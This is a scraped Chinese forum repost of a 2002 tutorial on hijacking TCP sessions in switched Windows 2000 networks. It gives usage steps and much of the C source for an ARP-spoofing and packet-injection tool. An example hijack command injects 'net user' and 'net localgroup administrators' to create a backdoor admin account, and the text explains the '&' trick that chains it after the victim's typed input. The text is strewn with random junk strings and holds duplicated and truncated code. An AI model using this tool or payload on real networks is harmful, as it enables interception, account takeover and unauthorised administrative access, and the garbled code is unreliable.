再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
2 J& X- }4 O7 N) r0 |, RHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
3 I- A6 e3 [& \+ v第三步就是开始劫持啦。

9 P/ a% x( U1 O3 T我写了个程序xHijack可以实现第二、三步功能，使用如下:
" F& N0 {) `1 Y
Usage: xHijack ServerSide ClientSide

9 ^# s! S/ {% t( r9 d* \& N2 j下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
- e  I3 N9 K6 Q4 @& ?+ g. \# O劫持后数据流程：server <--> hijacker <--> client
) W$ @8 X7 e/ }( }9 P
$ b. Q- t& m0 l+ t  H<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
2 W  Y8 x& `2 \* r- K# P假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
: S! d9 W" O9 _' X/ E劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
1 ~; A+ z2 a9 o. ?/ K3 r* x" ^
+ i5 K9 ]& F! R8 L! P2 h0 G<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
6 v8 ]) h/ g* ?+ T% q) M假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
7 a) L3 K% ^% K; K) O. lxHijack 192.168.0.1 192.168.0.2
4 [) I1 m5 x# X0 {5 {& \: N劫持前数据流程：client <--> gw <--> routes <--> server
: s; |& m) m- t. Y( l劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后，会提示你选择网卡，然后会提示
: Q0 B) i& D2 _* t& W1 fl        <-- List all connections
5 j& j# O1 `3 {1 A/ a2 q$ J! f0 br x       <-- Reset the number x connection
, C0 y+ A* M( X- g9 w9 D3 Cw x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
% y0 f" d  S3 S(1) 202.202.202.202:23 <--> 192.168.0.3:2345
) U3 B7 _! O* }0 B我们想要劫持这个连接运行我们的命令，输入
1 F! _; }% M5 j6 H2 y, w! HxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。

劫持的流程如下：
<1>伪装成Server给Client发一个rst包
' K5 p, W4 V5 _2 {% o<2>伪装成Client给Server发了一个数据包
, m" Y: C& {4 j  D<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
1 z  L4 \4 ]+ q3 \<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
- C4 T' K: R6 L) H9 T5 M  V! O- u<4>Server回一个ACK包给client
$ [/ K) G+ c: ?7 b/ T<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
, f0 \5 A1 ^( ]1 e( K1 p  Q<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
& ^" Y) _; q$ C( e# _6 e

# I9 ~8 y, e+ i+ Z刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
6 {5 ~5 g3 ]7 e( L' h' k/ F/ ]还请各位多多指点。
+ a; g% q- s( w8 |3 g8 c8 I# s; t5 l
BTW:我没有空间，编译好的程序没地方放：（
6 l3 Z" k, q( U3 ^5 a
7 q+ u6 X4 ]3 l/ B; A7 s0 S
% p2 X* o5 C1 ?3 N7 ^" Q$ H, M
参考资料
4 t, n) I' U1 Z( Z( L* G<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
# q* {5 b" X' X& _, [<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
1 w" L7 i! G: T2 g- F

以下是程序代码
& G/ Q9 N2 X3 _9 P+ D----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File      : xHijack.c
Version      : 1.0
0 ~2 L8 m) l  i' qCreate at    : 2002/8/12
Last modifed at  : 2002/8/19
. l& q2 G4 K6 O4 @' {! M2 G3 b1 pAuthor      : eyas
; o$ S2 X: x0 [5 s$ V% W3 y/ @Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
; F2 S2 d$ \# NIf you modify the code, or add more functions, please email me a copy.

备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
9 k$ s4 `. R- L2 v显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
. t7 ^3 [3 j0 p0 ]9 w" N题了。
8 A& q: o# }$ S2 I, `8 Z9 B
' v" p" ?+ [% s- T也许下一版本会修正这些问题，也许不会有下一版本了。

( ~7 d, h, A& K# G3 _-----------------------------------------------------------------------------*/
#include
9 K/ e9 l. c0 Q% p6 X& N' Z/ O: X' q#include
: q. O; H4 w( F, u5 u#include
1 b4 Z5 \# O2 x% _  q. z#include
: ~0 J. a9 e" t1 P#include
#include
#include

% N9 x+ W% S4 n  {#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
+ o3 d* r7 r8 I3 N#pragma comment (lib, "ws2_32")
- O1 [+ t* t+ y) o& r$ ]
7 B9 J) Q% g! p/ {# D- t: {5 w# D9 f#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
, |3 [" Z/ A) E#define EPT_IP      0x0800      /* type: IP  */
9 ~2 y% _* \1 d#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
- y- H6 I4 b8 b, \" C#define EPT_ARP      0x0806      /* type: ARP */
0 c1 x& _) e* {- V0 I6 R
3 t+ ]- O4 r  j4 [) x#define  ACTION_NONE    0
#define  ACTION_WATCH  1
! V- U6 G% V8 e' Y#define  ACTION_RESET  2
#define ACTION_HIJACK  3

% N) }7 `7 `' y2 b$ f/ [$ r+ P/*以1字节对齐*/
6 p0 j5 v% v9 B# j* y#pragma pack(1)
  E* ~; M) e2 I8 E  G# F( T, ^typedef struct _ehhdr
. w) G( i, c5 G# l- S{
; N: e1 Q( k: j, J' K  unsigned char  DestMAC[6];
3 ?, ]- [- m' V' A$ P  unsigned char  SourceMAC[6];
+ M- [. m1 \& m! D  unsigned short  EthernetType;
}EHHDR, *PEHHDR;
( J; E9 z" _& K% |& j4 X
2 f2 }- E3 y! S1 d! ~6 xtypedef struct _iphdr        //定义IP首部
9 W7 Q. [* ], j{
5 m7 t4 Y: J, d" b; J+ `  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度（字节）
  unsigned short ident;      //16位标识
, c) M/ F" Y* g3 {! B  unsigned short frag_and_flags;  //3位标志位
& e, l- N7 @% [$ J  M# q  unsigned char ttl;        //8位生存时间 TTL
/ v% i# V' J; o  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
1 G' k5 Y4 y# g7 F}IPHDR, *PIPHDR;
& d  a/ Q$ o$ L3 ~$ |' m
5 \# m) D- h( }" s4 E6 ]typedef struct _tcphdr        //定义TCP首部
9 P) n0 h! q3 ?. W, v# Q; }3 ^+ k5 l{
' k3 E# d' L- ~7 `/ {" t* W  USHORT th_sport;        //16位源端口
% B4 M& O  B* J! _6 z  t) ?# [" x5 p# j  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
5 h5 k: Z: n2 A) ]  unsigned int th_ack;      //32位确认号
: Z. h# K7 W, M1 v; J5 R  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
! z, o6 V% l: E, \0 o}TCPHDR, *PTCPHDR;

( S9 i6 x1 m/ |typedef struct _psdhdr        //定义TCP pseudo header
4 s. P6 K5 I" y# O- X3 p. T2 H/ Z{               
7 \' s+ l7 y; ]6 a$ [  unsigned long saddr;
* s: h( j6 e0 {% i  unsigned long daddr;
0 @7 d/ |& e1 j% b- }  char mbz;
  char ptcl;
  unsigned short tcpl;
0 x0 H& C9 P9 o/ X4 e, p- v}PSDHDR, *PPSDHDR;
! Y% c1 @; T( Q: w
typedef struct _arphdr
{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  unsigned char  HrdAddrlen;//硬件地址长度
7 F  F% C* h9 b  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
4 ^9 `. k' t) r  unsigned char  DestMAC[6];/* target hardware address */
! D+ K0 M% ~# ]! s9 ?4 v' c  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;
  }0 M' @# P6 m6 P3 s
& Q* a) s  z" m- d) Q* J) Ktypedef struct _ArpPacket
7 [5 q6 Z, o6 s- Y6 Q$ ?4 K8 v{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
; A; m0 r% \  s; q8 ?# O}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
; I; ~+ O1 Y; [" }7 g$ F' v{
" U" S) i+ m7 S/ K2 ~8 G  EHHDR  ehhdr;
) Y5 O6 `( }: j' P+ p( b; s+ t$ R  IPHDR  iphdr;
2 q# z! e4 c# q  k1 K  TCPHDR  tcphdr;
! x+ }. K" V7 |- ^0 Y# V5 X5 `}TCPPACKET, *PTCPPACKET;
7 d2 B; R) h' e+ Q
  ^1 ?- s, ^" Y7 y! v1 W5 ttypedef struct _conninfo
{
  DWORD  dwServerIP;
" {: R/ q$ O4 m2 v  USHORT  uServerPort;
  DWORD  dwClientIP;
* U4 R/ }$ @% ]& W8 q4 T/ f4 _( J  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;
2 Z& `7 u3 K1 [: l7 d  m
# F. j  `; S1 x//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
2 E+ s; s/ A! d* |& ?        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
& N4 r: I( N; v4 O; Aunsigned char  g_szClientSideMAC[6];
( k% k( n" g& |2 G6 Qunsigned char  g_szServerSideMAC[6];
: c/ ^- Z2 P* ^) b: a0 \& ychar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
: g# P: m6 M' ?; A1 fDWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
; o% E' L3 A; K. D6 _8 c) MDWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
7 ^& F: y' i& k5 B        g_pConnHead = NULL,
        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
5 N9 s) W0 ~" \2 [LPPACKET    g_lpSendPacket;
//函数
  W' J6 t7 C6 l2 P. Fvoid      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
) s" y& O! C* |$ Y+ ^0 PUSHORT      checksum(USHORT *, int);
5 m  F4 f5 o8 `7 SBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
* d4 F, U1 N2 a& aLPADAPTER    InitAdapter();//初始化一些参数和全局变量
1 W* d% z2 ^  @BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
% c) c! [. e6 V, h; E& kDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
) J# i0 {) _9 d/ ?+ ^/ NDWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);



int main(int argc, char **argv)
{
  struct    bpf_stat stat;
& i' W7 w2 w  T  int      i;
# D0 s$ O2 i/ d
  usage();
8 T  S6 G" w  H) R2 t1 E  if (argc != 3) return 0;
# X& h, u% E: _  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  y8 \& f8 X2 c# q% j2 n1 O! P- I  H  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
2 ^4 E& x2 O7 E" H! e  [  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
+ B* j! s/ U. O7 n8 `! J6 h  Sleep(500);
$ ?$ ]/ f0 I# k. D# {( e  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
! j* ~( ~+ e* L& u, X, O+ ~  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
) u& M3 y1 l- u: S  Z) n    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  M8 F7 U: ]( g/ V7 W/ }$ L  }
& n* v5 G' W. o% c  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
$ g. j! q9 t! G0 e9 G9 h  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
8 _% |3 T# Z; n    printf("Warning: unable to get stats from the kernel!\n");
( l- _( O, d4 E' m) s3 ~$ v9 I  else
6 Y. y. J* F* ~' R0 I& H( h    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
- E1 @. A- ?  B5 {1 v) g8 p# v  //free resource   
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
5 h4 Y8 j; {6 f& a. W8 E/ u  return 0;
4 }; J  }4 F3 N3 X2 O}
) _, H' K, K2 t3 J2 N9 e3 j! a. s$ y
0 H' r: _2 u" _. F# B0 C+ B$ t) c//
; }% ]! U- D9 M; w+ x//功能：重置所有于ACTION有关的标志
//

韩冰

unsigned int  g_ServerSideIP,
% A9 ~) E0 f: x* J# O& `! K# m. ^9 t        g_ClientSideIP,
" o& t* b3 \6 t+ q6 V% z        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
) h# R$ w  j0 e/ P; H+ R7 V        g_TotalIP = 0;//
# A: C/ `6 g; V% u$ Ounsigned char  g_szOwnMAC[6];//本机MAC地址
( ]. M1 M  @3 Wunsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
/ s# o& m  a* b! f. p0 _# M0 J/ ]char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
) A; r9 S; d: `0 Z$ e3 z2 cLPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
( p1 s8 t& ]% V- E, Qchar      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
, y. i" A) r: W& m0 XDWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
, `  H3 O( f6 b        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
void      usage(void);
  C: u4 z/ x, q% ]* {0 M- avoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
5 W& f  T2 T% |0 V& Hvoid      ResetActionAllFlag();
  j& b) q' }: b' `USHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
1 A0 I0 C3 |/ q+ rBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
5 q0 e( W. y; s+ k% h( r- S+ mLPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
! K' N' I. s6 R7 C9 bBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
! X0 [: T4 w& X9 s7 uDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
5 ]/ A+ h8 s- Q. j4 c& N1 X% ADWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
5 T8 h& f' K5 N# \/ w: yBOOL  WINAPI  CtrlEvent(DWORD);
) E  P* |. D1 q, ~; a) P

8 @" Y# _4 S8 Q8 T# O
: B+ n! P4 v( I/ h( w; sint main(int argc, char **argv)
{
( B# M$ Q, x* X( O, s( ]  struct    bpf_stat stat;
! U, H% ?, l5 c  int      i;

  usage();
( d6 G9 _2 Z4 }2 }2 P+ \  if (argc != 3) return 0;
  //取得参数
/ M6 q6 _! w$ a1 O  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
7 N; k- J0 Z9 G  N0 w- t. p" @  g_lpAdapter = InitAdapter();
- r3 G' d+ \1 Z1 O6 t  if(!g_lpAdapter) return 0;
$ C4 q) h* Y/ a: I' x! u  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
4 w# X, [, t) [9 z( S7 H  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
5 U2 A" d2 a  i/ K: d0 B  //create arp spoof thread     
  Y6 W& B! l6 N% m7 |9 M  i = 1;
( [, x9 @3 w. N" r, ^. p, b8 x  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
0 U% C- s5 T9 g3 }- a% H  //create interface thread
/ L5 F( {5 w9 K8 K" ~; T6 w  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
- a0 K5 a  J' j. X: ^  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
% ]- N. a0 _' I* E' l    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
* O0 b8 L0 [6 o1 ^9 u  }
$ v3 n- ^( I: P8 A; y, L  //wait for any thread exit
! C# |6 G) T5 V/ I7 j  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
$ B) s3 A* h7 I4 m# H7 G$ u  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
& p* x6 K7 I* I8 Y8 S1 {& A6 S  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
, p7 e( l0 l5 x: t1 l3 @  //free resource   
& V' K0 Z: R& u; I4 [0 f/ x! i  PacketFreePacket(g_lpSendPacket);
% a0 z; s1 }+ N1 a$ r/ x  PacketCloseAdapter(g_lpAdapter);
  return 0;
) K1 @+ N# {* X3 H}

; Q( k( M+ p8 V. Q//
- T3 H! t) S1 u//功能：重置所有于ACTION有关的标志
//

韩冰

void ResetActionAllFlag()
{
  g_dwCtrlConn = 0;
* L0 B6 ?5 g& H# j  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
}
( B1 s  |  W3 @. o
; J! H1 l- e- x  R- O//
//功能：处理Ctrl+C和Ctrl+Break事件
0 V* F5 y! v$ ]( n//
5 V2 J: I# F0 {- R, y! {2 bBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
  switch(dwCtrlType)
  {
/ V, ^' ]) s9 t0 M9 l( j    case CTRL_BREAK_EVENT:
) C/ B2 F9 P2 N" A0 e; {      //reset action all flag
      ResetActionAllFlag();
9 g  k6 f1 a) l' l3 F5 F. v      break;
    case CTRL_C_EVENT:
      //terminate all thread
  G7 ]0 V4 K+ @7 u. B- G. s5 }: T: G      TerminateThread(g_hThread[0], 0);
. o/ }( p' Y2 q5 H  a      TerminateThread(g_hThread[1], 0);
      TerminateThread(g_hThread[2], 0);
      TerminateThread(g_hThread[3], 0);
: V$ f  k5 L. `$ y, @. |      break;
3 b" J+ C: C' l% F2 u# {2 {    default:
9 o1 U) I5 d: L  ~      break;
3 B: R. G2 t2 [1 U; M  }
7 U8 n! x8 B' A  a4 S( G4 L3 ?) _  return TRUE;
2 l) N; ~/ T; ?3 s# |6 v' _( H6 m+ [}
  M. j% `- a! E" F4 u% R
//
& d) i: f0 v. D2 o//功能：处理用户输入
5 j( Z$ @" b/ k# _//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
  DWORD  i;
  char  szBuff[16];

  *lpCommandPos = 0;
/ }" x. {3 u% U( E! K  for(i=0; i<15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
* V7 h2 Q* A8 `+ _4 P; i{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
            "r x\t\t<-- Reset the number x connection\n"
            "w x\t\t<-- Watch the number x connection\n"
% i& U. K  O$ s/ r) a7 W            "h x command\t<-- Hijack the number x connection to execute command\n"
            "[Note]\n"
5 g0 B/ ~+ V- S3 K; C            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
/ l( f8 ~1 v2 o  char  szPrompt[] = "\nxHijack>";
, L8 {. c' p( T; a/ e  char  szBuffer[128];
" S: }% {" M; H' y' v  DWORD  dwPos;
  PCONNINFO  pTmp;

8 i+ d+ \4 N3 F+ N9 z  while(1)
" e- x  P3 i. W1 U  {
  Y3 w6 i3 @5 R) K9 T% b    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
    {
      case 'l':
      case 'L':
$ \7 ]+ F4 F2 g/ l        ListAllConnection();
        break;
0 P  r) a0 A; F      case 'r':
      case 'R':
$ p0 {. x" F, _/ u! }/ J. m& C        if(strlen(szBuffer) >2)
* l6 i" G$ \8 k( E        {
* @& {0 o  d" ]: S          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
( g1 x& d1 S+ W8 w  M          g_dwAction = ACTION_RESET;
        }
        else printf("%s", szHelp);
; w  t" k3 ^. {* V. t        break;
      case 'w':
      case 'W':
        if(strlen(szBuffer) > 2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
  n4 K( {, n/ j. }" j        }
        else printf("%s", szHelp);
        break;
      case 'h':
      case 'H'://h 1 xxx
        if(strlen(szBuffer) > 5)
) |; C, |* P* r" N- P        {
- f. C* [/ D) k- M, w          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          //如果command第一个字符是'或"
& Q0 z4 q' V8 o# ~) p& K* G0 V8 O0 w          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
( G0 j/ Q  X' l5 v0 L* P            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
4 t* u/ C1 G7 }8 o2 t' g1 n          }
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
8 o9 M% Z5 X* k' B3 M          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
# U) y" ?% X8 z) U        }
        else printf("%s", szHelp);
        break;
      default:
5 Y0 i1 \. Z; K3 f7 b* C- i! ~        printf("%s", szHelp);
9 R/ O, y% P& S; \' @6 H2 V        break;
    }//end of switch
    //find the specify ident's struct point
    if( (g_dwCtrlConn) && (g_dwAction) )
, w& c/ D3 c) H# h5 D' ]- r' O    {
# B* _2 f/ I$ m7 _% t      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
4 s, `3 W# t2 A4 y1 ^% h6 e      while(pTmp)
      {
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
6 L( Q: }3 \* U* p% R5 r! ]        {
# F0 d& j$ ?) J) t  J! a) f          g_pCurrCtrlConn = pTmp;
          break;
        }
        pTmp = pTmp->Next;
      }
0 k! x5 ]  ~# M) ~6 `      if(!g_pCurrCtrlConn)
      {
7 T3 d; e" n* W/ U2 A% s. w+ p        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
. X& o" V, j! L2 V7 C* Q* t        ResetActionAllFlag();      
      }
    }
5 T2 s0 _2 U: i' Z    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
& c/ Q" A! k" @7 R) C1 E    switch(g_dwAction)
    {
6 {/ ]8 y0 S' ^' k% K/ O, V      case ACTION_WATCH:
) |$ j$ _. `3 ]- A        printf("ACTION_WATCH");
6 r* _; E0 r3 t0 U) @2 j        break;
$ B0 B: @; E2 H      case ACTION_RESET:
% W4 O: \; K4 \. F        printf("ACTION_RESET");
* A5 t3 ?. I- E        break;
/ o8 K6 i0 I/ z$ a/ m; a      case ACTION_HIJACK:
        printf("ACTION_HIJACK");
. `' @' P% e- C2 |% v* `        break;
6 m. Z$ l- _3 b3 F3 K- x  R      default:
" L" h) X/ u% G; _        printf("ACTION_NONE");
        break;
    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
9 F* ]- j3 v; y  a/ E1 i! w* @  return 0;
}

韩冰

// //功能：列出当前所有连接 + C z% v/ Q- e// $ {+ n, f* K, X! fvoid ListAllConnection() { " p- z6 X* Q+ i8 z) G PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; + A, o0 C* k* c5 j; d1 D pTmp = g_pConnHead; , H1 p7 D/ k' M' o" T/ [6 A! l" M while(pTmp) & B$ `) B9 d; j; F3 [4 @ { 8 h3 @6 t( t: e F m8 S if(pTmp->bActive) 3 C, U+ R: T% s { saSource.sin_addr.s_addr = pTmp->dwServerIP; ! t0 ]; ]" q/ [" q5 S5 X saDest.sin_addr.s_addr = pTmp->dwClientIP; 3 c1 m {3 m8 ~. p* w% }7 n* ~ printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); ! M* n9 J( q( B( G! U. U$ a printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 2 @& X- q1 Z; H2 w } pTmp = pTmp->Next; ; S- a( `9 m' l9 N7 \* y6 ], J } ' t1 p, H2 ~) i& c) E% o+ w} ) |5 j, B9 j0 S// //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // ; C- l: K5 L( y% H% `) ~LPADAPTER InitAdapter() { ) E. Z' B, K5 V LPADAPTER lpAdapter; + l, r1 v* ]. d3 {+ d) O. {/ f static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; * m/ v7 d" H0 x1 n2 f8 w WCHAR *temp,*temp1; 6 F0 o2 `3 {! A8 i$ t3 O ULONG AdapterLength = 1024; int iAdapterNum = 0; int iRetCode, i; ' G3 z5 m% ]+ V7 l* n0 e int iAdapter = 0; * Z5 F9 j, F8 }- y ULONG ulLen = 0; 9 e* r( q* m9 i" I1 r DWORD dwRet; $ O' Y; p+ I c; a$ q1 I; v X PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 3 k' s2 T; T0 [% d: E PIP_ADDR_STRING pIPAddr; # ` }8 Q; G7 q" ?+ U8 O% `% r //Get The list of Adapter * {5 V; e" a9 J 